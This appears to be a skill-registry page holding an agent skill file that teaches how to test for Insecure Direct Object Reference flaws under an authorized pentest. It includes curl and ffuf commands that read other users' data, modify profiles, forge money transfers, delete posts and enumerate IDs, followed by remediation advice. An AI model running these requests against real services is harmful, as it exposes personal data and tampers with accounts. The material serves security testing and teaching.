[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78P2NA4PTSWM0Z386X670SZ":3,"skill-same:01M78P2NA4PTSWM0Z386X670SZ":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":39,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":42,"ownerDescription":43,"updatedAt":44,"install":45,"resources":58},"01M78P2NA4PTSWM0Z386X670SZ","exploiting-idor-vulnerabilities",null,"Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-idor-vulnerabilities\ndescription: Identifying and exploiting Insecure Direct Object Reference vulnerabilities to access unauthorized resources by manipulating object identifiers in API requests and URLs.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, idor, access-control, owasp, burpsuite, web-security]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting IDOR Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when testing access control on resource endpoints\n- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies\n- For validating that object-level authorization is enforced across all CRUD operations\n- When testing multi-tenant applications where users should only access their own data\n- During bug bounty programs targeting broken access control vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target application\n- **Burp Suite Professional**: With Authorize extension installed from BApp Store\n- **Two test accounts**: At least two separate user accounts with different permission levels\n- **Burp Authorize Extension**: For automated IDOR testing across sessions\n- **curl\u002Fhttpie**: For manual request crafting\n- **Browser**: Configured to proxy through Burp Suite\n\n## Workflow\n\n### Step 1: Map All Object References in the Application\n\nIdentify every endpoint that references objects by ID across the application.\n\n```bash\n# Browse the application through Burp proxy with User A\n# Review Burp Target > Site Map for endpoints with object references\n\n# Common IDOR-prone endpoints to look for:\n# GET \u002Fapi\u002Fusers\u002F{id}\n# GET \u002Fapi\u002Forders\u002F{id}\n# GET \u002Fapi\u002Finvoices\u002F{id}\u002Fdownload\n# PUT \u002Fapi\u002Fusers\u002F{id}\u002Fprofile\n# DELETE \u002Fapi\u002Fposts\u002F{id}\n# GET \u002Fapi\u002Fdocuments\u002F{id}\n# GET \u002Fapi\u002Fmessages\u002F{conversation_id}\n\n# Extract all endpoints with IDs from Burp proxy history\n# Burp > Proxy > HTTP History > Filter by target domain\n# Look for patterns: \u002Fresource\u002F123, ?id=123, {\"user_id\": 123}\n\n# Check different ID formats:\n# Numeric sequential: \u002Fusers\u002F101, \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Base64 encoded: \u002Fusers\u002FMTAx (decodes to \"101\")\n# Hashed: \u002Fusers\u002F5d41402abc4b2a76b9719d911017c592\n# Slug: \u002Fusers\u002Fjohn-doe\n```\n\n### Step 2: Configure Burp Authorize Extension for Automated Testing\n\nSet up the Authorize extension to automatically replay requests with a different user's session.\n\n```\n# Install Authorize from BApp Store:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration:\n# 1. Log in as User B (victim) in a separate browser\u002Fincognito\n# 2. Copy User B's session cookie\u002Fauthorization header\n# 3. In Authorize tab > Configuration:\n#    - Add User B's cookies in \"Replace cookies\" section\n#    - Or add User B's Authorization header in \"Replace headers\"\n\n# Example header replacement:\n# Original (User A): Authorization: Bearer \u003Ctoken_A>\n# Replace with (User B): Authorization: Bearer \u003Ctoken_B>\n\n# 4. Enable \"Intercept requests from Repeater\"\n# 5. Enable \"Intercept requests from Proxy\"\n\n# Authorize will show:\n# - Green: Properly restricted (different response for different user)\n# - Red: Potentially vulnerable (same response regardless of user)\n# - Orange: Uncertain (needs manual verification)\n```\n\n### Step 3: Test Horizontal IDOR (Same Privilege Level)\n\nAttempt to access resources belonging to another user at the same privilege level.\n\n```bash\n# Authenticate as User A (ID: 101)\nTOKEN_A=\"Bearer eyJ...\"\n\n# Get User A's own resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile\" | jq .\n\n# Attempt to access User B's resources (ID: 102) with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | jq .\n\n# Compare responses - if both return 200 with data, IDOR is confirmed\n\n# Test across different resource types\nfor resource in profile orders invoices messages documents; do\n  echo \"--- Testing $resource ---\"\n  # User A's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Own: %{http_code} \" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002F$resource\"\n  # User B's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Other: %{http_code}\\n\" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002F$resource\"\ndone\n\n# Test with POST\u002FPUT\u002FDELETE for write-based IDOR\ncurl -s -X PUT -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\"\n```\n\n### Step 4: Test Vertical IDOR (Cross Privilege Level)\n\nAttempt to access admin or elevated resources with a regular user token.\n\n```bash\n# As regular user, try accessing admin user profiles\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F1\u002Fprofile\" | jq .\n\n# Try accessing admin-specific resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Freports\u002F1\" | jq .\n\n# Test accessing resources across organizational boundaries\n# User in Org A trying to access Org B's resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Forganizations\u002F2\u002Fsettings\" | jq .\n\n# Test file download IDOR\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Finvoices\u002F999\u002Fdownload\" -o test.pdf\nfile test.pdf\n```\n\n### Step 5: Test IDOR in Non-Obvious Locations\n\nLook for IDOR in request bodies, headers, and indirect references.\n\n```bash\n# IDOR in request body parameters\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 101, \"recipient_id\": 102, \"amount\": 1}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# Change sender_id to another user\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 102, \"recipient_id\": 101, \"amount\": 1000}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# IDOR in file references\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ffiles?path=\u002Fusers\u002F102\u002Fdocuments\u002Fsecret.pdf\"\n\n# IDOR in GraphQL\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 102) { email phone ssn } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n\n# IDOR via parameter pollution\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile?user_id=102\"\n\n# IDOR in bulk operations\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"ids\": [101, 102, 103, 104, 105]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fbulk\"\n```\n\n### Step 6: Enumerate and Escalate Impact\n\nDetermine the full scope of data exposure through IDOR.\n\n```bash\n# Enumerate valid object IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002FFUZZ\u002Fprofile\" \\\n  -w \u003C(seq 1 500) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 20 \\\n  -o valid-users.json -of json\n\n# Count total accessible records\njq '.results | length' valid-users.json\n\n# Check what sensitive data is exposed per record\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | \\\n  jq 'keys'\n# Look for: email, phone, address, ssn, payment_info, password_hash\n\n# Test IDOR on state-changing operations\n# Can User A delete User B's resources?\ncurl -s -X DELETE -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fposts\u002F1\" \\\n  -w \"%{http_code}\"\n# WARNING: Only test DELETE on known test data, never on real user data\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level |\n| **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has |\n| **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters |\n| **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object |\n| **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object |\n| **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects |\n| **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |\n| **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions |\n| **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers |\n| **Postman** | API testing with environment variables for switching between user contexts |\n| **ffuf** | Fast fuzzing of object ID parameters |\n| **OWASP ZAP** | Free proxy alternative with access control testing plugins |\n\n## Common Scenarios\n\n### Scenario 1: Invoice Download IDOR\nThe `\u002Finvoices\u002F{id}\u002Fdownload` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.\n\n### Scenario 2: User Profile Data Leak\nThe `\u002Fapi\u002Fusers\u002F{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.\n\n### Scenario 3: File Access via Path Manipulation\nA document management system stores files at `\u002Ffiles\u002F{user_id}\u002F{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users.\n\n### Scenario 4: Message Thread Hijacking\nA messaging endpoint at `\u002Fapi\u002Fconversations\u002F{id}\u002Fmessages` allows any authenticated user to read messages in any conversation by changing the conversation ID.\n\n## Output Format\n\n```\n## IDOR Vulnerability Finding\n\n**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)\n**Severity**: High (CVSS 7.5)\n**Location**: GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as User A (ID: 101) and obtain JWT token\n2. Send GET \u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile with User A's token (returns own profile)\n3. Change the ID to 102: GET \u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile with User A's token\n4. Observe that User B's full profile is returned including PII\n\n### Affected Endpoints\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | GET | Read PII of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Forders | GET | Read order history of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | PUT | Modify profile of any user |\n| \u002Fapi\u002Fv1\u002Finvoices\u002F{id}\u002Fdownload | GET | Download any user's invoices |\n\n### Impact\n- 15,000+ user profiles accessible (enumerated IDs 1-15247)\n- Exposed fields: name, email, phone, address, date_of_birth\n- Write IDOR allows profile modification of other users\n- Violates GDPR data access controls\n\n### Recommendation\n1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object\n2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure\n3. Log and alert on sequential ID enumeration patterns\n4. Implement rate limiting on resource endpoints\n```\n","# Exploiting IDOR Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when testing access control on resource endpoints\n- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies\n- For validating that object-level authorization is enforced across all CRUD operations\n- When testing multi-tenant applications where users should only access their own data\n- During bug bounty programs targeting broken access control vulnerabilities\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target application\n- **Burp Suite Professional**: With Authorize extension installed from BApp Store\n- **Two test accounts**: At least two separate user accounts with different permission levels\n- **Burp Authorize Extension**: For automated IDOR testing across sessions\n- **curl\u002Fhttpie**: For manual request crafting\n- **Browser**: Configured to proxy through Burp Suite\n\n## Workflow\n\n### Step 1: Map All Object References in the Application\n\nIdentify every endpoint that references objects by ID across the application.\n\n```bash\n# Browse the application through Burp proxy with User A\n# Review Burp Target > Site Map for endpoints with object references\n\n# Common IDOR-prone endpoints to look for:\n# GET \u002Fapi\u002Fusers\u002F{id}\n# GET \u002Fapi\u002Forders\u002F{id}\n# GET \u002Fapi\u002Finvoices\u002F{id}\u002Fdownload\n# PUT \u002Fapi\u002Fusers\u002F{id}\u002Fprofile\n# DELETE \u002Fapi\u002Fposts\u002F{id}\n# GET \u002Fapi\u002Fdocuments\u002F{id}\n# GET \u002Fapi\u002Fmessages\u002F{conversation_id}\n\n# Extract all endpoints with IDs from Burp proxy history\n# Burp > Proxy > HTTP History > Filter by target domain\n# Look for patterns: \u002Fresource\u002F123, ?id=123, {\"user_id\": 123}\n\n# Check different ID formats:\n# Numeric sequential: \u002Fusers\u002F101, \u002Fusers\u002F102\n# UUID: \u002Fusers\u002F550e8400-e29b-41d4-a716-446655440000\n# Base64 encoded: \u002Fusers\u002FMTAx (decodes to \"101\")\n# Hashed: \u002Fusers\u002F5d41402abc4b2a76b9719d911017c592\n# Slug: \u002Fusers\u002Fjohn-doe\n```\n\n### Step 2: Configure Burp Authorize Extension for Automated Testing\n\nSet up the Authorize extension to automatically replay requests with a different user's session.\n\n```\n# Install Authorize from BApp Store:\n# Burp > Extender > BApp Store > Search \"Authorize\" > Install\n\n# Configuration:\n# 1. Log in as User B (victim) in a separate browser\u002Fincognito\n# 2. Copy User B's session cookie\u002Fauthorization header\n# 3. In Authorize tab > Configuration:\n#    - Add User B's cookies in \"Replace cookies\" section\n#    - Or add User B's Authorization header in \"Replace headers\"\n\n# Example header replacement:\n# Original (User A): Authorization: Bearer \u003Ctoken_A>\n# Replace with (User B): Authorization: Bearer \u003Ctoken_B>\n\n# 4. Enable \"Intercept requests from Repeater\"\n# 5. Enable \"Intercept requests from Proxy\"\n\n# Authorize will show:\n# - Green: Properly restricted (different response for different user)\n# - Red: Potentially vulnerable (same response regardless of user)\n# - Orange: Uncertain (needs manual verification)\n```\n\n### Step 3: Test Horizontal IDOR (Same Privilege Level)\n\nAttempt to access resources belonging to another user at the same privilege level.\n\n```bash\n# Authenticate as User A (ID: 101)\nTOKEN_A=\"Bearer eyJ...\"\n\n# Get User A's own resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile\" | jq .\n\n# Attempt to access User B's resources (ID: 102) with User A's token\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | jq .\n\n# Compare responses - if both return 200 with data, IDOR is confirmed\n\n# Test across different resource types\nfor resource in profile orders invoices messages documents; do\n  echo \"--- Testing $resource ---\"\n  # User A's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Own: %{http_code} \" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002F$resource\"\n  # User B's resource\n  curl -s -o \u002Fdev\u002Fnull -w \"Other: %{http_code}\\n\" \\\n    -H \"Authorization: $TOKEN_A\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002F$resource\"\ndone\n\n# Test with POST\u002FPUT\u002FDELETE for write-based IDOR\ncurl -s -X PUT -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"Hacked\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\"\n```\n\n### Step 4: Test Vertical IDOR (Cross Privilege Level)\n\nAttempt to access admin or elevated resources with a regular user token.\n\n```bash\n# As regular user, try accessing admin user profiles\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F1\u002Fprofile\" | jq .\n\n# Try accessing admin-specific resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fadmin\u002Freports\u002F1\" | jq .\n\n# Test accessing resources across organizational boundaries\n# User in Org A trying to access Org B's resources\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Forganizations\u002F2\u002Fsettings\" | jq .\n\n# Test file download IDOR\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Finvoices\u002F999\u002Fdownload\" -o test.pdf\nfile test.pdf\n```\n\n### Step 5: Test IDOR in Non-Obvious Locations\n\nLook for IDOR in request bodies, headers, and indirect references.\n\n```bash\n# IDOR in request body parameters\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 101, \"recipient_id\": 102, \"amount\": 1}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# Change sender_id to another user\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"sender_id\": 102, \"recipient_id\": 101, \"amount\": 1000}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ftransfers\"\n\n# IDOR in file references\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Ffiles?path=\u002Fusers\u002F102\u002Fdocuments\u002Fsecret.pdf\"\n\n# IDOR in GraphQL\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{ user(id: 102) { email phone ssn } }\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fgraphql\"\n\n# IDOR via parameter pollution\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile?user_id=102\"\n\n# IDOR in bulk operations\ncurl -s -X POST -H \"Authorization: $TOKEN_A\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"ids\": [101, 102, 103, 104, 105]}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002Fbulk\"\n```\n\n### Step 6: Enumerate and Escalate Impact\n\nDetermine the full scope of data exposure through IDOR.\n\n```bash\n# Enumerate valid object IDs\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002FFUZZ\u002Fprofile\" \\\n  -w \u003C(seq 1 500) \\\n  -H \"Authorization: $TOKEN_A\" \\\n  -mc 200 -t 10 -rate 20 \\\n  -o valid-users.json -of json\n\n# Count total accessible records\njq '.results | length' valid-users.json\n\n# Check what sensitive data is exposed per record\ncurl -s -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile\" | \\\n  jq 'keys'\n# Look for: email, phone, address, ssn, payment_info, password_hash\n\n# Test IDOR on state-changing operations\n# Can User A delete User B's resources?\ncurl -s -X DELETE -H \"Authorization: $TOKEN_A\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fposts\u002F1\" \\\n  -w \"%{http_code}\"\n# WARNING: Only test DELETE on known test data, never on real user data\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level |\n| **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has |\n| **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters |\n| **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object |\n| **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object |\n| **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects |\n| **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |\n| **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions |\n| **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers |\n| **Postman** | API testing with environment variables for switching between user contexts |\n| **ffuf** | Fast fuzzing of object ID parameters |\n| **OWASP ZAP** | Free proxy alternative with access control testing plugins |\n\n## Common Scenarios\n\n### Scenario 1: Invoice Download IDOR\nThe `\u002Finvoices\u002F{id}\u002Fdownload` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.\n\n### Scenario 2: User Profile Data Leak\nThe `\u002Fapi\u002Fusers\u002F{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.\n\n### Scenario 3: File Access via Path Manipulation\nA document management system stores files at `\u002Ffiles\u002F{user_id}\u002F{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users.\n\n### Scenario 4: Message Thread Hijacking\nA messaging endpoint at `\u002Fapi\u002Fconversations\u002F{id}\u002Fmessages` allows any authenticated user to read messages in any conversation by changing the conversation ID.\n\n## Output Format\n\n```\n## IDOR Vulnerability Finding\n\n**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)\n**Severity**: High (CVSS 7.5)\n**Location**: GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Authenticate as User A (ID: 101) and obtain JWT token\n2. Send GET \u002Fapi\u002Fv1\u002Fusers\u002F101\u002Fprofile with User A's token (returns own profile)\n3. Change the ID to 102: GET \u002Fapi\u002Fv1\u002Fusers\u002F102\u002Fprofile with User A's token\n4. Observe that User B's full profile is returned including PII\n\n### Affected Endpoints\n| Endpoint | Method | Impact |\n|----------|--------|--------|\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | GET | Read PII of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Forders | GET | Read order history of any user |\n| \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fprofile | PUT | Modify profile of any user |\n| \u002Fapi\u002Fv1\u002Finvoices\u002F{id}\u002Fdownload | GET | Download any user's invoices |\n\n### Impact\n- 15,000+ user profiles accessible (enumerated IDs 1-15247)\n- Exposed fields: name, email, phone, address, date_of_birth\n- Write IDOR allows profile modification of other users\n- Violates GDPR data access controls\n\n### Recommendation\n1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object\n2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure\n3. Log and alert on sequential ID enumeration patterns\n4. Implement rate limiting on resource endpoints\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","idor","access-control","owasp","burpsuite","web-security","mahipal","cybersecurity","1.0","web-application-security","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fexploiting-idor-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":46,"prompt":56,"zipAvailable":57},[47,50,53],{"tool":48,"command":49},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-idor-vulnerabilities",{"tool":51,"command":52},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-idor-vulnerabilities",{"tool":54,"command":55},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-idor-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002FSKILL.md",true,[59,63,69],{"path":60,"resourceType":60,"resourceTypeDesc":61,"sizeBytes":62,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":64,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":68},"references\u002Fapi-reference.md","REFERENCE","参考文档",1813,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"scripts\u002Fagent.py","SCRIPT","脚本",7390,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-idor-vulnerabilities\u002Fscripts\u002Fagent.py",[76,84,91,98,105,113],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", 